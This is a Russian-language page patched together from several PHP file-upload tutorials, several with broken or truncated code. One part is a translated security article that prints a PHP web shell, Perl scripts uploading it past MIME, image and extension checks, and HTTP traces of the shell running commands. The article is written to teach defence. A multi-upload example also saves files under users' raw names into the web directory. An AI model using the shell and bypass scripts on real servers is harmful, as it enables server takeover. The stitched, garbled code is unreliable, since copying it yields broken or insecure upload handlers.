Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. В этой статье я покажу Вам, еще один способ для загрузки файлов с помощью PHP.

Требования

Загрузить файлы на сервер не сложно, но есть несколько мелких деталей, которые должны быть учтены, иначе загрузка не будет выполнена. Во-первых, вы должны убедиться, что PHP настроен на разрешение загрузки. Проверьте ваш php.ini файл и проверьте директиву file_uploads , которая должна быть установлена в On .

После того как Вы настроили конфигурации позволяющие серверу принимать загруженные файлы, Вы можете акцентировать ваше внимание на HTML составляющей. Для загрузки файлов со стороны HTML применяются формы. Крайне важно, чтобы ваши формы использовали метод POST и для атрибута enctype имели значение multipart/form-data .

<form action = "upload.php" method = "post" enctype = "multipart/form-data" >

Написание сценария для процесса загрузки

Процесс загрузки файла в общих чертах выглядит так:

  • Посетитель просматривает HTML страницу с формой для загрузки файлов;
  • Посетитель выбирает в форме файл, который он хочет загрузить;
  • Браузер кодирует файл и отправляет его в качестве части POST запроса;
  • PHP получает форму представления, декодирует файл и сохраняет его во временный каталог на сервере;
  • Далее PHP скрипт перемещает файл на постоянное место хранение.

Следовательно для того чтобы посетитель смог загрузить файл необходима HTML-форма, которая будет предоставлена пользователю и PHP скрипт, чтобы заботиться о загрузке файлов на сервер.

HTML форма

HTML формы обеспечивают интерфейс, через который пользователь инициирует загрузку файлов. Помните, form элемент должен иметь ​​method = POST и не должен кодировать данные при отправке на сервер — атрибут enctype в значение multipart/form-data . Располагаем элемент input для выбора файла. Как и для любого другого элемента формы, нам очень важно указать значение атрибута name , чтобы можно было ссылаться на него в PHP сценарии, который обрабатывает форму.

Форма загрузки файлов выглядит следующим образом:

1
2
3
4
5






Стоит отметить, что различные браузеры отображают поле файл по-разному. Это не проблема, так как пользователи привыкли к тому как выглядит поле выбора файла в их любимом браузере. Однако если внешность важна для Вас, я рекомендую вам ознакомиться с этой статьей .

PHP сценарий загрузки

Информация о загружаемом файле располагается в многомерном массиве $_FILES . Этот массив индексируется по именам файлов помещенных в поле HTML формы. Массив содержит следующую информацию о каждом файле:

  • $_FILES[«myFile»][«name»] — исходное имя файла;
  • $_FILES[«myFile»][«type»] — MIME-тип файла;
  • $_FILES[«myFile»][«size»] — размер файла (в байтах);
  • $_FILES[«myFile»][«tmp_name»] — имя временного файла;
  • $_FILES[«myFile»][«error»] — код любой ошибки при передаче.

Функция move_uploaded_file() перемещает загруженный файл из временного в постоянное место. Вам следует всегда использовать move_uploaded_file() вместо copy() и rename() для этой цели, поскольку она выполняет дополнительную проверку, чтобы убедиться, что файл был действительно загружен с помощью запроса HTTP POST.

Если вы планируете сохранять файл с реальным именем, то нужно соблюсти несколько правил. Имя файла не должно содержать такие символы как слэш, которые могут повлиять на расположение. Название не должно совпадать с названием уже существующих файлов, чтобы не переписать их. Заменяем любые символы не являющиеся буквой или цифрой на нижнее подчеркивание, и добавляем «увеличительное» число при совпадении имен.

Получение и обработка загрузки файлов с помощью PHP выглядит следующим образом:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// директория для сохранения файла
define ("UPLOAD_DIR" , "/srv/www/uploads/" ) ;

if (! empty ($_FILES [ "myFile" ] ) ) {
$myFile = $_FILES [ "myFile" ] ;

// проверяем на наличие ошибок при загрузке
if ($myFile [ "error" ] !== UPLOAD_ERR_OK) {
echo "

Произошла ошибка.

" ;
exit ;
}

// обеспечиваем безопасное наименование файла
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] ) ;

// при совпадении имен файлов добавляем номер
$i = 0 ;
$parts = pathinfo ($name ) ;
while (file_exists (UPLOAD_DIR . $name ) ) {
$i ++;
$name = $parts [ "filename" ] . "-" . $i . "." . $parts [ "extension" ] ;
}

// перемещаем файл в постоянное место хранения
$success = move_uploaded_file ($myFile [ "tmp_name" ] ,
UPLOAD_DIR . $name ) ;
if (! $success ) {
echo "" ;
exit ;
}

// задаем права на новый файл
chmod (UPLOAD_DIR . $name , 0644 ) ;

echo "

Файл " . $name . " успешно загружен.

" ;
}

Сначала проверяем файл, загружен ли он без каких-либо ошибок. Затем определяем безопасное имя файла, а затем помещает файл в окончательный каталог с помощью move_uploaded_file() . И в конце устанавливаем права на доступ к файлу.

Вопросы безопасности

Большинство из нас не позволили бы загружать и хранить совершенно незнакомые файлы у себя на сервере, но к сожалению в текущей ситуации это так и есть. Поэтому следует описать несколько шагов, которые позволят свести к минимуму риски, связанные с безопасностью при загрузки файлов.

Один из них заключается в проверке типа загружаемого файла. Опираться на значение хранящееся в $_FILES[«myFile»][«type»] «не есть хорошо», так как расширения в имени файлов могут быть легко подделаны. В таких ситуация лучше проанализировать содержимое файла, например использование функции exif_imagetype() позволяет определить, действительно ли загружаемый файл является картинкой с расширением GIF, JPEG и тд. Если exif_imagetype() не доступна (функция требует расширение Exif ), то вы можете использовать getimagesize() . Возвращаемый массив будет содержать размеры и тип изображения.

1
2
3
4
5
6
7

...
// файл должен являться изображением
$fileType = exif_imagetype ($_FILES [ "myFile" ] [ "tmp_name" ] ) ;
$allowed = array (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType , $allowed ) ) {
// тип файл не допускается
...

Для не-графических файлов, вы можете использовать Exec() для вызова утилиты Unix — File . Данная утилита определяет тип файла.

Другой шаг, который вы можете сделать для усиления безопасности при загрузке файлов, это наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые могут быть загружены. Чтобы сделать это, необходимо указать соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в файле php.ini .

  • upload_max_size определяет максимальный размер загружаемых файлов.
  • В дополнение к размеру загрузки, вы можете ограничить размер запрос POST благодаря директиве post_max_size .
  • max_file_uploads более новая директива (добавлена ​​в версии 5.2.12), которая ограничивает количество загружаемых файлов.

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

Третий шаг (несколько экзотический), который вы можете предпринять, чтобы свести к минимуму риск при загрузке файлов — сканирование антивирусным сканером. Стоит добавить, что данная тема является очень серьезной, поэтому ей следует уделить достаточно внимание при разработке веб-приложений!

Таким образом происходит загрузка файлов на сервер с помощью PHP . Если у Вас есть замечания или дополнения к данной статье, оставляйте их в комментариях. Спасибо за прочтение!

P.S. У вас сайт на движке Joomla и вы пользуетесь услугами хостинга? Для тех кто добивается максимальной производительности интернет-проектов, стоит попробовать хостинг с joomla . Специализированный хостинг для сайтов на Joomla обеспечит стабильную и эффективную работу, а выгодные тарифные планы никого не оставят равнодушными.

Последнее обновление: 1.11.2015

Чтобы загрузить файл на сервер, нам надо использовать форму с параметром enctype="multipart/form-data" и массив $_FILES . Итак, создадим файл upload.php со следующим содержимым:

Загрузка файла

Выберите файл:

Здесь определена форм с атрибутом enctype="multipart/form-data" . Форма содержит специальное поле для выбора файла.

Все загружаемые файлы попадают в ассоциативный массив $_FILES . Чтобы определить, а есть ли вообще загруженные файлы, можно использовать конструкцию if: if ($_FILES)

Массив $_FILES является двухмерным. Мы можем загрузить набор файлов, и каждый загруженный файл можно получить по ключу, который совпадает со значением атрибута name .

Так как элемент для загрузки файла на форме имеет name="filename" , то данный файл мы можем получить с помощью выражения $_FILES["filename"] .

У каждого объекта файла есть свои параметры, которые мы можем получить:

    $_FILES["file"]["name"] : имя файла

    $_FILES["file"]["type"] : тип содержимого файла, например, image/jpeg

    $_FILES["file"]["size"] : размер файла в байтах

    $_FILES["file"]["tmp_name"] : имя временного файла, сохраненного на сервере

    $_FILES["file"]["error"] : код ошибки при загрузке

Также мы можем проверить наличие ошибок при загрузке. Если у нас нет ошибки, то поле $_FILES["filename"]["error"] содержит значение UPLOAD_ERR_OK .

При отправке файла на сервер он сначала загружается во временное место, из которого затем с помощью функции move_uploaded_file() он перемещается в каталог сервера.

Функция move_uploaded_file() принимает два параметра путь к загруженному временному файлу и путь, куда надо поместить загруженный файл.

Ограничения и настройка загрузки

По умолчанию размер загружаемых файлов ограничен 2 мб. Однако можно настроить данный показатель в файле конфигурации. Изменим этот показатель, например, до 10 мб. Для этого найдем в файле php.ini следующую строку:

Upload_max_filesize = 2M

Изменим ее на

Upload_max_filesize = 10M

Также мы можем настроить папку для временных загружаемых файлов. Для этого в файле php.ini найдем следующую строку:

;upload_tmp_dir =

Изменим ее на

Upload_tmp_dir = "C:/php/upload"

Также в каталоге php нам надо создать папку upload .

Мультизагрузка

Изменим скрипт upload.php так, чтобы он поддерживал множественную загрузку:

$error) { if ($error == UPLOAD_ERR_OK) { $tmp_name = $_FILES["uploads"]["tmp_name"][$key]; $name = $_FILES["uploads"]["name"][$key]; move_uploaded_file($tmp_name, "$name"); } } } ?>

Загрузка файла




Каждое поле выбора файла имеет атрибут name="uploads" , поэтому сервер будет рассматривать набор отправленных файлов как единый массив.

Затем используя цикл foreach , проходим по все файлам и сохраняем их в каталог веб-сайта.

  • Перевод

В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее - это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip .

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Обычно пользователи будут загружать файлы, используя подобную форму:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика) , который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

system($_GET["command"]);
?>

Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

Этот скрипт использует libwwwperl , который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика) . Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

И вот что получится.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php" ,
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

Выражение preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением.php, это приведет к ошибке:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
Если мы загружаем файл с расширением.gif, то оно будет загружено:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

От автора: приветствую вас друзья. Из этой небольшой статьи вы узнаете, как сделать форму загрузки файла на сайте. Это позволит прикреплять картинки и прочие файлы к форме и отправлять файлы на сервер, где они уже будут обработаны. Начнем.

Исходные файлы текущей статьи вы можете скачать по .

Начнем с создания формы, в которой будет присутствовать поле для загрузки файла. На что здесь стоит обратить внимание? Во-первых, поле для отправки файла должно иметь специальный тип – type=»file». Во-вторых, файл может быть отправлен только в теле запроса, поэтому метод GET для отправки формы не подойдет, нужно использовать только метод POST — method=»post». Ну и, в-третьих, для формы необходим специальный атрибут enctype с определенным значением — enctype=»multipart/form-data». Без этого атрибута файл просто не будет отправлен.

Исходя из озвученного выше, наш код будет примерно таким:

< form class = "form-horizontal" method = "post" enctype = "multipart/form-data" action = "file.php" >

< div class = "form-group" >

< label for = "name" class = "col-sm-2 control-label" > Названиефайла< / label >

< div class = "col-sm-8" >

< input type = "text" id = "name" class = "form-control" name = "name" placeholder = "Название файла" >

< / div >

< / div >

< div class = "form-group" >

< label for = "file" class = "col-sm-2 control-label" > Файл< / label >

< div class = "col-sm-8" >

< input type = "file" name = "file" id = "file" >

< / div >

< / div >

< div class = "form-group" >

< div class = "col-sm-offset-2 col-sm-8" >

< button type = "submit" id = "submit" class = "btn btn-primary" > Отправить< / button >

< div > < / div >

< / div >

< / div >

< / form >

В результате мы получим примерно такую форму:

Поле для загрузки файлов выглядит не очень привлекательно, но, тем не менее, со своей задачей справится без проблем: файл можно прикрепить и отправить на сервер. В следующей статье мы попробуем красиво оформить поле для загрузки файла, а пока давайте проверим, загружается ли файл. Как видим, форма будет отправлена в файл file.php, который указан в атрибуте action. Давайте создадим этот файл.


Что может быть общего у фотографий, находящихся в онлайн-фотоальбоме, прикреплённых к электронному письму или у файлов, представленных в онлайн-приложении для пакетной обработки? Всех их необходимо загрузить на сервер через интернет из веб-браузера. Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. Из этой статьи вы узнаете, как добавить к себе на сайт поддержку загрузки файлов используя для этого PHP.

Требования перед загрузкой файлов

Обработка загружаемых файлов - стандартный процесс, но существует несколько мелочей, на которые необходимо обратить внимание перед началом работы. Первое, в чем нужно удостовериться, что PHP настроен и позволяет загружать файлы. Для этого в php.ini стоит проверить директиву file_uploads , и, если она выключена, то включить.

File_uploads = On

Загружаемые файлы сначала сохраняются во временном каталоге (но не волнуйтесь... ваш PHP-скрипт впоследствии может переместить файлы в более подходящее место). Исходное местоположение является временным каталогом для системы по умолчанию. Вы можете указать другой каталог, используя директиву upload_tmp_dir в php.ini. Независимо от этого, будет не лишним проверить, что процесс PHP имеет правильные права на запись в зависимости от используемого каталога.

Upload_tmp_dir = "/tmp" tboronczyk@zarkov:~$ ls -l / | grep tmp drwxrwxrwt 13 root root 40960 2011-08-31 00:50 tmp

После того, как вы уверены, что конфигурация позволяет серверу принимать загруженные файлы, вы можете сосредоточить свое внимание на деталях и добавить HTML форму. Крайне важно, чтобы ваш элемент

использовал метод POST и имел атрибут enctype , установленный для multipart/form-data .

Этапы загрузки файла на сервер

Скорей всего, вы уже можете представить, как загружаются файлы на сервер, основываясь на собственном опыте и требованиях о которых я упомянул выше.

  • Посетитель просматривает HTML-страницу с формой, специально написанной для поддержки загрузки файлов;
  • Далее он предоставляет файл, который он хочет загрузить и нажимает кнопку отправить;
  • Браузер кодирует файл и отправляет его как часть запроса POST;
  • PHP получает форму отправки, декодирует файл и сохраняет его во временном месте на сервере;
  • Написанный PHP-скрипт, ответственный за обработку сообщения формы, проверяет файл и обрабатывает его каким-то образом, часто перемещая его из своего временного местоположения в постоянное, где будет храниться файл.

Для добавления поддержки загрузки файлов вам необходимо создать HTML форму, которая будет представлена пользователю, и скрипт PHP, который позаботится о загруженном файле на сервере.

Добавляем HTML форму для загрузки файла

HTML-формы предоставляют собой интерфейс, через который пользователь инициирует загрузку файла. Нужно помнить, что элемент должен иметь свой атрибут метода, установленный для публикации, и его атрибут enctype , заданный для multipart/form-data . Элемент файла предоставляет поле, используемое для указания файла, который будет загружен. Как и любой другой элемент формы, важно указать атрибут имени, чтобы вы могли ссылаться на него в PHP скрипте, обрабатывающем форму.

Вот как выглядит типичная разметка формы загрузки файлов:


Стоит отметить, что разные браузеры будут визуализировать поле загрузки файла по-разному. IE, Firefox и Opera отображают его как текстовое поле с кнопкой рядом с ней надписью «Обзор» или «Выбрать». Safari отображает ее так же, как кнопку с надписью: «Выбрать файл». По большому счету это не проблема с тех пор, как пользователи привыкли к тому, как поле отображается в своем браузере и умеют его использовать. Иногда, однако, вы столкнетесь с клиентом или дизайнером, который непреклонно представляет его определенным образом. Количество CSS и JavaScript, которые могут применяться к файловому полю, крайне ограничено из-за соображений о безопасности, наложенных браузерами. Типизация файла может быть затруднена. Если внешний вид очень важен для вас, я рекомендую вам прочитать одну из статей «Питер-Пол Кох» типа ввода = «файл» .

Переходим на сервере и работаем с PHP

Информация о загрузке файла предоставляется с помощью многомерного массива $_FILES . Этот массив обладает своей структурой, назначенными именами для полей файла в форме HTML, точно так же, как и при работе с $_GET и $_POST . Затем массив каждого файла содержит следующие элементы:

  • $_FILES["myFile"]["name"] - хранит исходное имя файла;
  • $_FILES["myFile"]["type"] - сохраняет mime-типа файла;
  • $_FILES["myFile"]["size"] - сохраняет размер файла (в байтах);
  • $_FILES["myFile"]["tmp_name"] - хранит имя временного файла;
  • $_FILES["myFile"]["error"] - хранит код ошибки, полученный в результате передачи.

При помощи функции move_uploaded_file() мы можем перенести файл из своего временного каталога в постоянное место. Так же хорошей практикой является использовать именно её вместо copy() и rename() для этой цели, поскольку она выполняет дополнительные проверки, чтобы гарантировать, что файл был действительно загружен запросом HTTP методом POST.

Если вы собираетесь сохранить файл с исходным именем, предоставленным пользователем, рекомендуется убедиться, что это безопасно. Имя файла не должно содержать символов, которые могут повлиять на путь назначения, например, косая черта (слэш). Имя файла должно быть уникальным, чтоб избежать затирания существующих с тем же именем (если это не предусматривается вашим приложением). Гарантировать это можно заменяя любые символы символом подчеркивания, который не является буквой, а затем добавляя увеличивающийся номер, если файл с таким именем уже существует.

Вот так как выглядит получение и обработка загрузки файла при помощи PHP:

Define("UPLOAD_DIR", "/srv/www/uploads/"); if (!empty($_FILES["myFile"])) { $myFile = $_FILES["myFile"]; if ($myFile["error"] !== UPLOAD_ERR_OK) { echo "

Произошла ошибка.

"; exit; } // обеспечиваем безопасное имени файла $name = preg_replace("/[^A-Z0-9._-]/i", "_", $myFile["name"]); // не перезаписываем существующий файл $i = 0; $parts = pathinfo($name); while (file_exists(UPLOAD_DIR . $name)) { $i++; $name = $parts["filename"] . "-" . $i . "." . $parts["extension"]; } // сохраняем файл из временного каталога $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name); if (!$success) { echo ""; exit; } // устанавливаем правильные права для нового файла chmod(UPLOAD_DIR . $name, 0644); }

Сначала мы удостоверяемся, что PHP загрузка файла на сервер прошла без ошибок. Затем определяем безопасное имя файла, как я только что описал выше, а затем перемещаем файл в его конечный каталог с помощью move_uploaded_file() . И наконец делаем вызов chmod() , чтобы убедиться, что в новом файле установлены необходимые права доступа.

Вопросы безопасности

Один из них заключается в том, чтобы проверить тип загружаемого файла, каким он должен быть. Опираться на значение $_FILES["myFile"]["type"] или на расширение имени файла не является безопасным, поскольку оба могут легко подделываться. Скорее, используйте функцию exif_imagetype() , чтобы проверить содержимое файла и определить, действительно ли это GIF, JPEG или один из нескольких других поддерживаемых форматов изображений. Если exif_imagetype() недоступен (функция требует, чтобы расширение Exif было включено), вы можете использовать getimagesize() . Массив, возвращаемый ей, будет содержать тип изображения, если он распознан.

// проверяем файл GIF, JPEG или PNG $fileType = exif_imagetype($_FILES["myFile"]["tmp_name"]); $allowed = array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG); if (!in_array($fileType, $allowed)) { // тип файла не разрешен...

Для файлов без изображения вы можете использовать exec() для вызова утилиты файлов unix. он определяет тип файла, ища известные двоичные подписи в ожидаемых местах.

// проверяем файл в формате PDF $mime = "application/pdf; charset=binary"; exec("file -bi " . $_FILES["myFile"]["tmp_name"], $out); if ($out != $mime) { // файл не PDF ...

Еще один шаг, который вы можете предпринять, - наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые можно загрузить. Для этого укажите соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в php.ini. Директива upload_max_size указывает максимальный размер загрузки файла. В дополнение к размеру загрузки вы можете ограничить размер всего запроса POST директивой post_max_size . max_file_uploads - это новая директива (добавлена в версии 5.2.12), которая ограничивает количество загрузок файлов. Эти три директивы помогают защитить ваш сайт от атак, которые пытаются нарушить его доступность, вызывая интенсивный сетевой трафик или загрузку системы.

Post_max_size = 8M upload_max_size = 2M max_file_uploads = 20

Третий шаг, который вы можете предпринять для минимизации риска, - это сканирование загруженных файлов с помощью антивирусного сканера. Это жизненно важно для защиты от распространённых вирусов и вредоносных программ, особенно если ваш сайт осуществляет файлообмен между разными людьми, как пример - вложения в веб-почтовый клиент или (юридический) сайт для обмена файлами. Существует расширение PHP, которое обеспечивает доступ к ClamAV , но, конечно, вы можете вызвать утилиту командной строки ClamAV так же, как я продемонстрировал для файла.

Exec("clamscan --stdout " . $_FILES["myFile"]["tmp_name"], $out, $return); if ($return) { // файл заражен...

Подводим итоги и делаем выводы

